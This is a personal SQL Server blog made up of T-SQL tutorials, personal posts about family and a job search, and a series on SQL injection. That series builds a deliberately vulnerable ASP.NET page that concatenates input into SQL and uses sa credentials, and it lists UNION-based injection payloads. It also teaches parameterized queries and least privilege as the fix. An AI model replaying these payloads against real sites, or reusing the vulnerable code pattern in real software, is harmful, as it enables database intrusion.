Bluedog67

Random Thoughts About SQL Server and My Dog Blue

About Bluedog67

My name is Stephen Horne. I am a well-trained owner of an Australian Cattle Dog named Blue. I also develop software mainly using SQL Server, ASP.NET, and C#. I love data, databases, T-SQL, and turning raw data into actionable information. My plan for this blog is to write about SQL Server and sometimes my dog Blue. Please contact me at stephen at bluedog67 dot com. Follow me on Twitter at bluedog67.

Blocking Data Modifications

Obviously you can block data modifications through permissions fairly easily. Blocking sysadmins and dbos is somewhat more problematic. One downside to using permissions to block data modifications is that the user attempting to modify the data receives a permissions error that doesn't give any explanation as to why data modifications are blocked. This post shows a possible different way to block data modifications that doesn't use permissions but rather uses a trigger that throws a custom error that helps explain why the modifications are blocked. The trigger also does a rollback to stop the data modification operation(s). The ultimate effect is that the data in the table is static for all users including sysadmins and dbos, plus any user attempting to modify the data within the table receives a useful error message explaining why data modifications are blocked. I also added into the custom error message sample below a possible solution for temporarily allowing data modifications against the table by temporarily disabling the trigger.

You can customize the error message as required. You can add and remove arguments as required also. See SQL BOL about the RAISERROR command for more information.

This solution assumes you have a table named dbo.MyTable that you want the data to be static for (ie, block data modifications for).

After executing the code below and creating the trigger named tr_MyTable_StopDataMods, you can test by performing INSERT, UPDATE, and DELETE operations against MyTable. For each attempt at modifying the data within dbo.MyTable, you should see that all data modification operations are blocked and that you receive a useful error message. You can also temporarily disable/reenable the trigger through SSMS or Transact-SQL (see below) to test that functionality.

Please note that the ROLLBACK within the trigger is like a sledgehammer. If you included the attempted data modification(s) to dbo.MyTable in a larger transaction where you attempt to modify other the data of other tables, the trigger ROLLBACK forces the cancellation and ROLLBACK of all of your data modifications. Please keep that in mind.

Please share any ideas or feedback that you may have. Thanks!

Please see a variation of this post here. Mladen Prajdic (Blog|Twitter) suggested I use an INSTEAD OF trigger and eliminate the ROLLBACK. Thanks for the suggestion Mladen!

CREATE TRIGGER dbo.tr_MyTable_StopDataMods
ON dbo.MyTable
AFTER INSERT, DELETE, UPDATE
AS
BEGIN

SET NOCOUNT ON;

ROLLBACK;

RAISERROR(
N'The data in table %s is static. All data modification operations are blocked. Disable the trigger %s to modify table data.', -- Message text.
14, -- Severity
1, -- State,
'dbo.MyTable', -- first argument (table name)
'dbo.tr_MyTable_StopDataMods' -- second argument (trigger name)
);

END
GO

-- Code to temporarily disable trigger
ALTER TABLE dbo.MyTable DISABLE TRIGGER tr_MyTable_StopDataMods;
GO

-- Code to reenable trigger
ALTER TABLE dbo.MyTable ENABLE TRIGGER tr_MyTable_StopDataMods;
GO

Code tested only on SQL Server 2008 Dev Ed.

Permalink | Comments (0) | Post RSSRSS comment feed

Simple Indexed View To Constrain Data

In a recent Twitter David Taylor (Blog|Twitter) asked for #sqlhelp on constraining data in a varchar column that was holding 2 different types of data. One type of data is textual and like '4 PK WITH NO SN'. The other type of data is 11-digit numbers. The constraint he wanted to add was he wanted to ensure the numbers were unique. Duplicates if the values were textual are ok. Following is a possible quick and dirty solution that I developed in SQL Server 2008 Dev Edition. I don't know if it will work for David and I am sure there are other possibly better options but the following appears to work ok.

Mark Vaillancourt (Blog|Twitter) wrote a similar post several months ago here.

Please share any thoughts or feedback you may have. Thanks!

IF (OBJECT_ID('dbo.vwMyTableNumericMyColumn', 'V') > 0)
  DROP VIEW dbo.vwMyTableNumericMyColumn;
IF (OBJECT_ID('dbo.MyTable', 'U') > 0)
  DROP TABLE dbo.MyTable;

CREATE TABLE dbo.MyTable
(
ID int IDENTITY(1, 1) NOT NULL PRIMARY KEY,
MyColumn varchar(50) NOT NULL
);
GO

-- sample data
INSERT INTO dbo.MyTable (MyColumn) VALUES ('11111111111');
INSERT INTO dbo.MyTable (MyColumn) VALUES ('11111111112');
INSERT INTO dbo.MyTable (MyColumn) VALUES ('11111111113');
INSERT INTO dbo.MyTable (MyColumn) VALUES ('11111111114');
INSERT INTO dbo.MyTable (MyColumn) VALUES ('11111111115');
INSERT INTO dbo.MyTable (MyColumn) VALUES ('4 Pk With No SN');
INSERT INTO dbo.MyTable (MyColumn) VALUES ('4 Pk With No SN');
INSERT INTO dbo.MyTable (MyColumn) VALUES ('4 Pk With No SN');
INSERT INTO dbo.MyTable (MyColumn) VALUES ('4 Pk With No SN');
INSERT INTO dbo.MyTable (MyColumn) VALUES ('4 Pk With No SN');
GO

-- create schemabound view
CREATE VIEW dbo.vwMyTableNumericMyColumn
WITH SCHEMABINDING
AS
SELECT ID, MyColumn
FROM dbo.MyTable
WHERE (ISNUMERIC(MyColumn) = 1);
GO

-- create unique clustered index on schemabound view
CREATE UNIQUE CLUSTERED INDEX vwMyTableNumericMyColumn ON dbo.vwMyTableNumericMyColumn
(
MyColumn ASC
);
GO

-- confirm data
SELECT * FROM dbo.MyTable;
SELECT * FROM dbo.vwMyTableNumericMyColumn;

-- will cause error
INSERT INTO dbo.MyTable (MyColumn) VALUES ('11111111111');
-- will cause error
UPDATE dbo.MyTable SET MyColumn = '11111111111' WHERE MyColumn = '11111111112'
-- will not cause error
INSERT INTO dbo.MyTable (MyColumn) VALUES ('4 Pk With No SN');
-- will not cause error
UPDATE dbo.MyTable SET MyColumn = '22222222222' WHERE MyColumn = '11111111112'

Categories: SQL Server
Permalink | Comments (2) | Post RSSRSS comment feed

2010: Motivations and Resolutions

Others active in the SQL Server community have recently blogged about their motivations and resolutions/goals for 2010 including Andy Leonard and Buck Woody. Have enjoyed reading everyone's posts.

I haven't blogged in a bit - been focused on reading about/studying SQL Server while preparing for an SQL Server 2008 BI MCITP Bootcamp in Atlanta that starts in a few days. My hope is all this studying and hopefully getting the MCITP turns in a SQL Server Developer job. Been out of work for a few months. Hoping that with the holidays being over that things start to improve on the job search front.

Now to my 2010: Motivations and Resolutions:

Six years ago today I saw my mother die in a hospital ICU after a 20+ year battle with breast cancer - we had thought she was cured but in 2001 it came back with a vengeance. Within about five months after her death, I was back home taking care of my father who didn't cope well with her loss, plus he was suffering from dementia likely from Alzheimer's. Breast cancer has done a number on my family. My mother died from this damned disease. Both grandmothers suffered from it - one being killed by it. My mother's oldest sister suffered but survived from it. At least one of my mother's first cousins had it. The wife of one of my first cousins recently died from it, leaving behind my cousin and 2 kids. This is what breast cancer has done. Damned evil disease. What it might do pisses me off and scares me too.

I have two beautiful sisters and two beautiful sisters-in-law. I have eight beautiful neices (plus, one nephew who is spoiled rotten with all the attention). The newest neice is just a few months old. I have several female first cousins with several females in the next generation. Someday I might even get married and have my own girl(s). The potential for breast cancer scares the crap out of me. They say a picture is worth a thousand words. Following shows my immediate family tree. Squares are guys and circles are ladies. Pink shows breast cancer. Look at all the pink circles above me. Look at all the circles to the left and right and below me. Looking at this picture you can see why I care so much about breast cancer.


We must find a cure for this damned evil disease.

My family is what motivates me.

Following are my resolutions/goals for 2010:
  • Attend a SQL Server 2008 BI Bootcamp. Get SQL Server 2008 BI MCTS and MCITP.
  • Get SQL Server Developer job.
  • Possibly attend a SQL Server 2008 Dev Bootcamp and maybe an Admin Bootcamp.
  • Get SQL Server 2008 Dev MCTS and MCITP.
  • Be active in SQL Server Community on Twitter and Blog. Goal of averaging at least one blog post per week minimum.
  • Keep reading/studying/learning about SQL Server and software development.
  • Share what I know. Ask and answer questions.
  • Attend one SQL Server conference this year.
  • Lose weight. 6'7" and 390 pounds. Not good. Be less than 300 pounds by Decemember 31, 2010.
  • Eat better. Eat less pizza, cheeseburgers, chips, and chocolate. Eat more fruits and vegetables.
  • Exercise more. At least 5 times a week. Take Blue on more walks.
Thanks for reading.

Permalink | Comments (1) | Post RSSRSS comment feed

BeyondRelational.com TSQL Challenge 19 Sample Data

Following is code to generate additional sample data to test your solutions for BeyondRelational.com's TSQL Challenge 19. This was done very quick and dirty (ie, very ugly code) and I believe is correct (hopefully!). Please let me know if I have made a mistake or any wrong assumptions. Likely this could be done much better and more concise but it seems to work ok. The script has some flexibility built in where you can choose the # of employees, # of levels in employee hierarchy, and total # of orders. I have also switched the @emp and @ord tables over from variables to actual tables. Also I added the Level column to the emp table to help build the original hierachy - I drop this column later in the script so that it must be determined within my possible solution.

Please let me know if this was useful to you. Thanks!

DECLARE @NumberEmployees int;
SET @NumberEmployees = 50;

-- Maximum level of Employee Hierarchy. Can be multiple root nodes.
DECLARE @MaxLevel int;
SET @MaxLevel = 5;

DECLARE @NumberOrders int;
SET @NumberOrders = 1000;

IF EXISTS (SELECT 1 FROM sys.tables WHERE sys.tables.object_id = OBJECT_ID('dbo.ord', 'U'))
  DROP TABLE dbo.ord;
IF EXISTS (SELECT 1 FROM sys.tables WHERE sys.tables.object_id = OBJECT_ID('dbo.emp', 'U'))
  DROP TABLE dbo.emp;
IF EXISTS (SELECT 1 FROM sys.tables WHERE sys.tables.object_id = OBJECT_ID('dbo.Hierarchy', 'U'))
  DROP TABLE Hierarchy;

CREATE TABLE dbo.emp (
EmployeeID INT NOT NULL IDENTITY(1, 1) PRIMARY KEY,
FirstName VARCHAR(15) NOT NULL,
LastName VARCHAR(15) NOT NULL,
ReportsTo INT NULL,
Level INT NOT NULL
);

CREATE TABLE dbo.ord (
OrderID INT NOT NULL IDENTITY(1, 1) PRIMARY KEY,
EmployeeID INT NOT NULL
);

ALTER TABLE dbo.emp ADD CONSTRAINT FK_emp_ReportsTo_emp_EmployeeID FOREIGN KEY (ReportsTo) REFERENCES dbo.emp (EmployeeID);
ALTER TABLE dbo.ord ADD CONSTRAINT FK_ord_EmployeeID_emp_EmployeeID FOREIGN KEY (EmployeeID) REFERENCES dbo.emp (EmployeeID);

-- Create emp rows
SET NOCOUNT ON;

DECLARE @i int;
SET @i = 1;

WHILE (@i <= @NumberEmployees)
BEGIN
  INSERT emp (LastName, FirstName, Level)
  VALUES ('LastName_' + CAST(@i AS varchar(10)), 'FirstName_' + CAST(@i AS varchar(10)), RAND() * @MaxLevel + 1)

  SET @i = @i + 1;
END

-- Create Heiararchy
SELECT X.EmployeeID, X.Level empLevel, X.rank empRank,
Y.Level ReportsToLevel, Y.num ReportsToPossibleNumber
INTO Hierarchy
FROM
(SELECT EmployeeID,
Level,
RANK() OVER (PARTITION BY LEVEL ORDER BY EmployeeID) [rank]
FROM emp) X LEFT JOIN
(SELECT Level, COUNT(*) num FROM emp GROUP BY Level) Y
ON X.Level = Y.Level + 1

DECLARE myCursor CURSOR
FOR
SELECT Hierarchy.EmployeeID, Hierarchy.ReportsToLevel, Hierarchy.ReportsToPossibleNumber
FROM Hierarchy
WHERE Hierarchy.ReportsToLevel IS NOT NULL

OPEN myCursor;

DECLARE @empid int, @rpt2lvl int, @rpt2num int;
FETCH NEXT FROM myCursor INTO @empid, @rpt2lvl, @rpt2num

WHILE @@FETCH_STATUS = 0
BEGIN
  UPDATE emp SET emp.ReportsTo =
  (SELECT TOP 1 H.EmployeeID FROM Hierarchy H WHERE H.empLevel = @rpt2lvl and H.empRank =  CAST(RAND() * @rpt2num as int) + 1)
  WHERE emp.EmployeeID = @empid;

  FETCH NEXT FROM myCursor INTO @empid, @rpt2lvl, @rpt2num
END

CLOSE myCursor;
DEALLOCATE myCursor;

-- Create ord rows
DECLARE @j int;
SET @j = 0;

WHILE (@j < @NumberOrders)
BEGIN
  INSERT ord (EmployeeID)
  VALUES (RAND() * @NumberEmployees + 1)

  SET @j = @j + 1;
END

-- Clean up a bit.
DROP TABLE Hierarchy;

-- Get rid of the Level column from emp table.
ALTER TABLE emp DROP COLUMN Level;

-- see results.
SELECT *
FROM emp;

SELECT *
FROM ord;

-- Run your possible solution next using emp instead of @emp and ord instead of @ord.

Permalink | Comments (0) | Post RSSRSS comment feed

Job Search: Followup and Plan of Attack

Previous post here describes my current situation and recent job history. I am still looking for a job. I believe that the biggest challenge in my job search is the 3.5 years I took off to care for my father. Even with all the challenges: economy, holidays, work history, etc., I am confident that there is some company somewheres that will give me a shot as a SQL Server Developer.

Following is my plan of attack for the next month:
  • Keep sending out resumes.
  • Aggressively and consistently learn as much about SQL Server development as I can.
  • Continue to be active in the SQL Server Community through my new blog and on Twitter. Share what I know. Answer questions if I can. Help.
  • Read blogs, articles, whitepapers, SQL BOL, etc.
  • Read the many, many, many SQL Server books that I have.
  • Watch SQL Server 2008 videos purchased from AppDev.
  • Play, explore, learn, do samples/tutorials/how-tos in SQL Server test environment.
  • Attend SQL Server 2008 Business Intelligence Bootcamp in Atlanta in middle of January leading to possible certification.
  • Listen to and connect with other SQL Server professionals.
  • Stay positive.
  • Have hope.
  • Believe in myself.
  • Be passionate about SQL Server.
  • Know for certain that in the past I have successfully solved my past employer's data recording and reporting problems.
  • Know for certain that in the future I will solve my future employer's data recording and reporting problems.
  • Believe that I am meant to be a SQL Server Developer.
  • Always Be Learning.

Permalink | Comments (0) | Post RSSRSS comment feed

Create INSERT Script for Existing Table Data Using the tablediff.exe Utility

You have a table named MyTable that contains X number of rows. You need a SQL script that performs the CREATE TABLE command and INSERTs the X rows. There are several ways to accomplish this - this blog post is just one way. SQL Server Managament Studio does a great job of generating a CREATE TABLE script but not the INSERT commands. Following is a quick procedure to generate the INSERT commands using the SQL Server command-line utility named tablediff.exe. In SQL Server 2008 this application is located here - assuming default installation (C:\Program Files\Microsoft SQL Server\100\COM).

The tablediff.exe utility is normally used for replication synching but can be repurposed to generate INSERT statements.

First, create an empty copy of MyTable.

SELECT *
INTO dbo.MyTableCopy
FROM dbo.MyTable
WHERE 0 = 1;

Next execute the following command from a Windows command-line. You will need to change directories to where the tablediff utility is located first.

C:\Program Files\Microsoft SQL Server\100\COM>tablediff.exe -sourceserver MyServer -sourcedatabase MyDatabase -sourcetable MyTable -sourceuser sa -sourcepassword sa -destinationserver MyServer -destinationdatabase MyDatabase -destinationtable MyTableCopy -destinationuser sa -destinationpassword sa -f c:\temp\insert_MyTable.sql

Please note that rather than using named SQL Server logins you can use Windows Authentication and exclude the user/password values. Also the C:\temp directory may need to be created if it doesn't already exist. The process fails if the insert_MyTable.sql file already exists.

The insert_MyTable.sql file will contain the INSERT statements for the X number of rows in the original MyTable table. You will have to open the file in a text editor and global replace MyTableCopy with MyTable. If you combine this INSERT command list with the CREATE TABLE script from SSMS you have what you need to recreate the table and the data contained therein.

For more information about the tablediff.exe utility either go to SQL BOL or type in the following at the Windows command-line.

tablediff.exe /?

Please share any feedback that you may have. Thanks!

Categories: SQL Server
Permalink | Comments (1) | Post RSSRSS comment feed

Fiscal Year Implementation in a Database

What is a Fiscal Year? Also known as a financial or tax year, it is an accounting time period of 12-months that may or may not coincide with the calendar year. A fiscal year is the time period used to group various financial statements together for a given company or organization to create an annual or yearly report. Some companies have fiscal years that match the calendar year, but this is not the norm. Most companies and organizations have non-calendar year fiscal years that begin and end on the same date every year. The US Government has a fiscal year that runs from October 1st to September 30th. Some companies have fiscal years that last 52 weeks so that the fiscal year starts on the same day of the week every year - in affect 2 days less than an actual year. Cisco is an example of a company that has a 52 week fiscal year. Another characteristic of fiscal years is that they sometime change when companies undergo mergers, buyouts, or restructuring.

This blog post represents a possible solution for implementing Fiscal Years in your database. For most companies and organizations it would likely be ok to hardcode fiscal year information/calculations within user-defined functions or within other code blocks, however this solution is more generic, data driven and flexible.

The foundation for the solution is a simple table named FiscalYear (note: code tested on Microsoft SQL Server 2008 Dev Ed):

CREATE TABLE FiscalYear
(FiscalYear int NOT NULL,
BeginDate date NOT NULL,
EndDate date NOT NULL,
CONSTRAINT PK_FiscalYear_FiscalYear PRIMARY KEY CLUSTERED (FiscalYear ASC))

Add the following CHECK CONSTRAINTS to the FiscalYear table to ensure quality of data. The first requires BeginDate to be before EndDate. The second requires that FiscalYear value match the Year(EndDate) value - this is the norm, the year of the end date defines the fiscal year.

ALTER TABLE dbo.FiscalYear ADD CONSTRAINT CK_FiscalYear_BeginDate_lt_EndDate CHECK (BeginDate < EndDate);
ALTER TABLE dbo.FiscalYear ADD CONSTRAINT CK_FiscalYear_FiscalYear_equals_EndDateYear CHECK (FiscalYear = YEAR(EndDate));

Next populate the new FiscalYear table with some sample data:

INSERT FiscalYear (FiscalYear, BeginDate, EndDate) VALUES (2007, '20061001', '20070930');
INSERT FiscalYear (FiscalYear, BeginDate, EndDate) VALUES (2008, '20071001', '20080930');
INSERT FiscalYear (FiscalYear, BeginDate, EndDate) VALUES (2009, '20081001', '20090930');
INSERT FiscalYear (FiscalYear, BeginDate, EndDate) VALUES (2010, '20091001', '20100930');
INSERT FiscalYear (FiscalYear, BeginDate, EndDate) VALUES (2011, '20101001', '20110930');

Please note that valid data for this table requires that there be no overlaps or gaps in the FiscalYear values and BeginDate/EndDate values. Later in this post I will provide an solution to the intra-table data validation problem.

Next we look at querying the data contained within the table. We want to encapsulate the following code within a user-defined function so that it behaves very similarly to the Transact-SQL YEAR scalar function:

DECLARE @InputDate date;
SET @InputDate = '20091201';
SELECT fy.FiscalYear FROM FiscalYear fy WHERE @InputDate BETWEEN fy.BeginDate AND fy.EndDate;

Looking at the Execution Plan of the above SELECT query a Clustered Index Scan is used - an Index Seek is preferred. Add the following index to speed performance.

CREATE NONCLUSTERED INDEX IX_FiscalYear_BeginDate_EndDate_FiscalYear ON FiscalYear
(BeginDate ASC, EndDate ASC, FiscalYear ASC)

The SELECT query above should now used an Index Seek (Non-Clustered) which should improve performance. Now convert the SELECT query into a user-defined scalar-valued function.

CREATE FUNCTION dbo.udfFiscalYear(@InputDate date = NULL)
RETURNS int
AS
BEGIN
  DECLARE @Return int;

  IF (@InputDate IS NULL)
  BEGIN
    SET @InputDate = GETDATE();
  END

  SELECT @Return = fy.FiscalYear FROM dbo.FiscalYear fy WHERE @InputDate BETWEEN fy.BeginDate AND fy.EndDate;

  RETURN @Return;
END

If a NULL value is passed into the dbo.udfFiscalYear function, it is assumed that you are requesting the current fiscal year. In this case, the @InputDate value is converted to GETDATE() before the FiscalYear table lookup is done. Also, if no matching row in the FiscalYear table is found, the function returns NULL.

We now have the basic structures (lookup table and user-defined function) in place to implement fiscal years within your database. In subsequent post I will describe specific uses of this fiscal year implementation.

Finally, in this post I will supply a solution to the problem of ensuring there are no gaps or overlaps in the data contained within the FiscalYear table. This solution is not ideal because it is not a real-time solution but rather after-the-fact. Potentially bad data could be entered into the table but not caught and hopefully fixed until after the following variance query below is ran. The query relies on two user-defined functions that are listed.

CREATE FUNCTION dbo.udfGetPreviousFiscalYearEndDate(@InputFiscalYear int)
RETURNS date
AS
BEGIN
  DECLARE @Return date;

  SELECT @Return = fy.EndDate FROM dbo.FiscalYear fy WHERE fy.FiscalYear = (@InputFiscalYear - 1);

  RETURN @Return;
END

and

CREATE FUNCTION dbo.udfGetNextFiscalYearBeginDate(@InputFiscalYear int)
RETURNS date
AS
BEGIN
  DECLARE @Return date;

  SELECT @Return = fy.BeginDate FROM dbo.FiscalYear fy WHERE fy.FiscalYear = (@InputFiscalYear + 1);

  RETURN @Return;
END

The following query should show 1s (ones) across the board for PreviousEndDateDiff and NextBeginDateDiff (except for first fiscal year which will show NULL for PreviousEndDateDiff and last fiscal year which will show NULL for NextBeginDateDiff).

SELECT fy.FiscalYear, fy.BeginDate, fy.EndDate,
DATEDIFF(d, dbo.udfGetPreviousFiscalYearEndDate(fy.FiscalYear), fy.BeginDate) PreviousEndDateDiff,
DATEDIFF(d, fy.EndDate, dbo.udfGetNextFiscalYearBeginDate(fy.FiscalYear)) NextBeginDateDiff
FROM FiscalYear fy
ORDER BY fy.FiscalYear

If 1s (ones) are not shown then you have problems with the FiscalYear table data that needs to be fixed.

In closing, in a future post I will explore better solutions to the data validation problem possibly using CHECK CONSTRAINTS, triggers, stored procedures or other mechanisms. I strongly prefer a real-time data validation mechanism over an after-the-fact find and cleanup process. Also, as stated before I will write further about using this fiscal year implementation in a practical way in your database.

If you have any ideas, criticisms, or questions please let me know. Any feedback is appreciated! Thanks!

Categories: SQL Server
Permalink | Comments (0) | Post RSSRSS comment feed

Finding Possible SQL Injection-Susceptible Code in Files

As a followup to two previous posts about SQL Injection here and here, I wanted to share another idea. This may be a bit of a stretch but I was just out walking my boss Blue (he has me well-trained) in 20F degree weather. Had a bit of an idea about finding possibly SQL Injection-Susceptible server-side web code: Using a file search utility that supports Regex (Regular Expressions) do a search of your *.vb, *.cs, *.asp, *.php, etc. files for the following Regex and similar Regexes (I probably screwed up the Regex - Regex Knowledge (tm) is not sticky for me. I have to relearn it every time I fool with it!)

WHERE\s.*\s=\s'"\s[+]\s

This Regex should find strings embedded in the web site server code that look like the following. This code is potentially SQL Injection-Susceptible. I would recommend rewriting it so that it uses a Parameterized Query. Defining the Command.Parameter datatype and size would help validate the input too. You could also perform additional server-side validation on the input value.

string sql = "SELECT * FROM MyTable WHERE MyColumn = '" + TextBox1.Text + "';";

I have used this process to find other things in code files, but not to look for SQL Injection-Susceptible code. This idea may or may not be practical. It would be interesting to try out in a real environment. Separately from using a file find tool you could easily open web app code within Visual Studio and look for text strings such as "SELECT", "INSERT", etc. Anywhere that String Concatenation is used to build SQL and not Parameterized Queries is a potential SQL Injection target and may need to be refactored.

Please let me know what you think about this idea. Any feedback is appreciated. Thanks!

Permalink | Comments (0) | Post RSSRSS comment feed

Stopping SQL Injections Attacks

In the previous post here I did the following three things:
  1. Described what a SQL Injection Attack is.
  2. Provided a simple example of a SQL Injection-Susceptible Web Site built using ASP.NET, C#, ADO.NET, SQL Server, and the AdventureWorks sample database.
  3. Provided some sample scripts to "Hack" or perform SQL Injection Attacks on the Web Site that we built.
From the results of the previous post you can see that if you are part of a company with a web site on the public Internet and that web site is susceptible to SQL Injection attacks, you and your company and your customers could be in a world of some serious hurt.

I had some fun putting together the previous example. It was kinda cool to see what all I could do with the database and database server from just a simple website with a textbox, button, and grid. I can sorta understand the rush that a hacker might get from the process of figuring out about a database and database server from afar - Ooh! Look at that! Look what I can do! But this is serious business. In today's world, data stored in databases and the movement of that data across the Internet is the world's lifeblood. I don't carry cash any more. I carry a debit card. All of my money is a mishmash of ones and zeros stored in some database on some server at some bank. I go online to check my balance. I swipe my card at the grocery store when I buy a gallon of milk. Is it all a house of cards? Is there a hacker out there playing the role of Tyler Durden about to bring the system all tumbling down? What can I as a software developer, a database developer, a Microsoft SQL Server Database Developer do to help protect this system and help build solid, robust, and secure data recording, reporting, and workflow applications and the associated databases such that my employer succeeds? What can I do to help raise my own level of professionalism and work quality, along with possibly helping other database professionals along the way?

Was the previous paragraph too Jerry Maguire-y?

To help fulfill my ambition of building better software and helping stop problems like SQL Injection, I am going to share what I know. I am sure that I have built SQL Injection-Susceptible Web Sites in the past - I won't in the future. My hope is that someone doesn't make the same mistakes that I did. My hope is that it might help someone at some point. I hope other SQL Server professionals and other developers jump in and provide their ideas too!

In this post I am going to provide concrete ways of stopping SQL Injection Attacks. But first I want to clarify things. My focus in on Microsoft technologies so I used Microsoft technologies for my example SQL Injection-Susceptible Web Site. SQL Injections are NOT just a problem for the Microsoft world. All Server-Side Web Development programming languages such as PHP, Perl, Ruby, and C# are susceptible to SQL Injections attacks. All of the various data access APIs such as the PHP:MySQL and ADO.NET libraries are susceptible. All SQL-based databases engines including MySQL, Oracle, and SQL Server are susceptible.

Hackers perform SQL Injection Attacks. They are ultimately responsible for the problems, security violations, unauthorized accesses, loss of data, damaged servers, and loss of creditibility and trust of all business software developers, database professionals, server administrators, and networking gurus. That being said, I believe that on the software developer, database, server, and networking side, the source of the SQL Injection problem is Application Developers. The DBA can mitigate the problem by restricting the App Devs to using only stored procedures which most App Devs will fight tooth and nail, plus the DBA can be ultra-restrictive with the login used for database access which App Devs will fight too - "just make the login dbo (database owner) for simplicity's sake." But ultimately, DBAs cannot do anything practical to stop SQL Injection Attacks (other than shutdown the database server). Ultimately, App Devs are responsible for building a SQL Injection-Susceptible Web Site. If SQL is inline or embedded with their code and string concatenation is used to build SQL statements (INSERTs, UPDATEs, DELETEs, and SELECTs) then you have the strong potential for having a Web Site that is SQL Injection-Susceptible.

Avoid SQL creation statements similar to the following. Avoid SQL built with string concatenation.

cmd.CommandText = "SELECT ProductID, ProductNumber, Name, ListPrice FROM Production.Product WHERE Name LIKE '%" + this.TextBox1.Text + "%'";

Rather than using string concatenation to build your SQL statements, use Parameterized Queries. Parameterized Queries can provide strong type checking (including size) and input isolation (where multiple commands chained together with the command separator (semicolon) are not possible). To see this add another TextBox and Button to the Default.aspx page of the previous ASP.NET/C# Web Application and add the following code to the Click event of Button2.

protected void Button2_Click(object sender, EventArgs e)
{
  string strConnection = "Data Source=SERVER;Initial Catalog=AdventureWorks;User Id=sa;Password=sa;";
  using (SqlConnection cn = new SqlConnection(strConnection))
  {
    cn.Open();

    using (SqlCommand cmd = new SqlCommand())
    {
      cmd.Connection = cn;
      cmd.CommandType = CommandType.Text;
      cmd.CommandText = "SELECT ProductID, ProductNumber, Name, ListPrice FROM Production.Product WHERE Name LIKE '%' + @search + '%';";
      cmd.Parameters.AddWithValue("@search", this.TextBox2.Text);

      using (SqlDataReader dr = cmd.ExecuteReader())
      {
        this.GridView1.DataSource = dr;
        this.GridView1.DataBind();
      }
    }
  }
}

The differences between the Button1_Click and the Button2_Click appear to be minor. I stated that you needed to avoid string concatenation to stop SQL Injection. That is true. [Clarification From The Idiot-Writer Time!] The LIKE command in SQL is a bit problematic and to get it to work with the % (Percent) Wildcard or Any Characters Wildcard you still have to concatenate to build your SQL string. But the Button2_Click code or the Parameterized Query code uses a named parameter or placeholder (@search) that is populated in the subsequent statement - "cmd.Parameters.AddWithValue("@search", this.TextBox2.Text);". This is the key step to stopping SQL Injection attacks. Rather than saying Avoid String Contenation When Building Your SQL I should say Use Parameterized Queries To Build You SQL.

Go back and attempt to "run" the same hacker scripts in this second TextBox using the second Button. Nothing appears to happen. What is happening is that you are now effectively searching for an item in the product table with a name that matches the big long string that you entered into the TextBox. You have stopped the SQL Injection Attack.

In doing some testing I found something - it is likely others have already pointed it out before me. SQL Profiler and possibly the system views can be used by the DBA to find possible SQL Injection risks. If you run and observe the SELECT queries from Button1_Click and Button2_Click you see that both run as the ApplicationName ".Net SqlClient Data Provider". Button1_Click runs the query as "straight" SQL. Button2_Click runs using the sp_executesql stored procedure. This could possibly be leveraged to find ADO.NET applications that are not using Parameterized Queries and could possibly be SQL Injection-Susceptible. But this is not an absolute test for sure. This idea could possibly be extended to other SQL Server access libraries and other applications. Plus possibly used with other databases such as MySQL and Oracle - I don't know.

The use of Parameterized Queries over what I will call manually built SQL in App Dev code is the key to preventing SQL Injection Attacks.

Following are some additional things beyond the use of Parameterized Queries to help stop SQL Injection Attack (I will avoid the mountains of narrative on these items! <grin> ):
  • Server-side data validation of all inputs before touching database. Never trust client-side validation exclusively.
  • Use an ORM such as LINQ to SQL, Entity Framework, or nHibernate to cross the application code/SQL code boundary.
  • Possibly use Stored Procedures for all database access. No direct SELECTs, INSERTs, UPDATEs, and DELETEs.
  • Separate your web application code from the data access layer code by using web services. Ensure inputs are heavily validated on the web services.
  • GRANT only what is absolutely required to the web application's login. Never use a dbo (database owner) and definitely not a sysadmin login for an application's login. DENY access to everything not absolutely required. Follow the best practice of least priviledge.
  • If the web application is an ASP.NET consider using a specialized logging tool such as ELMAH. Can be added on to existing compiled sites very easily and provide view of all errors including notifications. There are commercial equivalents along with equivalents for other platforms also. You can also roll your own error logging and notification system to help keep an eye on SQL Injection Attacks and other penetration attempts.
There are likely several other methods to stopping or helping mitigate the threat of SQL Injection Attacks. But the key is getting Web Application Developers to use Parameterized Queries if they are going to be making direct SQL calls against the database.

If anyone has any additional ideas please pass them along. Any feedback is appreciated. Thanks!

Categories: SQL Server
Permalink | Comments (0) | Post RSSRSS comment feed

Introduction to SQL Injection Attacks

SQL Injection Attacks. They have been in the news recently with the WSJ and NASA Hacks. What are they? Hackers attack your database through a nice pretty front door that web application developers built and you, the database professional, didn't prevent.

In this post I will show you three things:
  • Creating a SQL Injection-Susceptible Web Site
  • Attacking The Site With SQL Injection
  • Stopping the SQL Injection Attacks
Creating a SQL Injection-Susceptible Web Site

Using Visual Studio 2008, ASP.NET, C#, ADO.NET, SQL Server 2008, and the AdventureWorks database, we will create a very simple web application that is susceptible to SQL Injection attacks. SQL Injection attacks are not associated only with Microsoft technologies but affect all web development languages and databases. I will assume either a reasonable level of knowledge with ASP.NET and C# or that you have access to an ASP.NET developer to help you create and deploy the following mini-application.

Following are the basic steps:

  1. Create new C# ASP.NET Application Project.
  2. Drop a TextBox, Button, and GridView onto the Default.aspx page.
  3. Double-click the Button and add the code below to the code-behind file. Update the database connection information as necessary. For testing purposes uses a sysadmin account. Make sure the server is not a production box! <grin>
  4. Add "using System.Data;" and "using System.Data.SqlClient;" to the header of the Default.aspx.cs code-behind file.
  5. Deploy.
protected void Button1_Click(object sender, EventArgs e)
{
  string strConnection = "Data Source=SERVER;Initial Catalog=AdventureWorks;User Id=sa;Password=sa;";
  using (SqlConnection cn = new SqlConnection(strConnection))
  {
    cn.Open();

    using (SqlCommand cmd = new SqlCommand())
    {
      cmd.Connection = cn;
      cmd.CommandType = CommandType.Text;
      cmd.CommandText = "SELECT ProductID, ProductNumber, Name, ListPrice FROM Production.Product WHERE Name LIKE '%" + this.TextBox1.Text + "%'";

      using (SqlDataReader dr = cmd.ExecuteReader())
      {
        this.GridView1.DataSource = dr;
        this.GridView1.DataBind();
      }
    }
  }
}

The application is very basic. If you click the button you will see a full listing of the AdventureWorks.Production.Product table. If you enter some text, for example Cap and click the button you will see a filtered list. Congratulations! You have created a SQL Injection-Susceptible Web Site! And depending upon the rights that the user you used in the application's connection string, you could be in for some serious serious trouble!

Attacking the Site With SQL Injection

Now is where the fun comes in! Let's do some hacking!

Following is a script that a hacker would place into your application's TextBox that starts to open the SQL Injection door. It isn't very hard to figure this out. Trust me.

XYZ' UNION SELECT 1, 'TEST', 'TEST', 1.23; SELECT '

Interesting.

XYZ' UNION SELECT 1, @@VERSION, 'TEST', 1.23; SELECT '

What the hell!?!

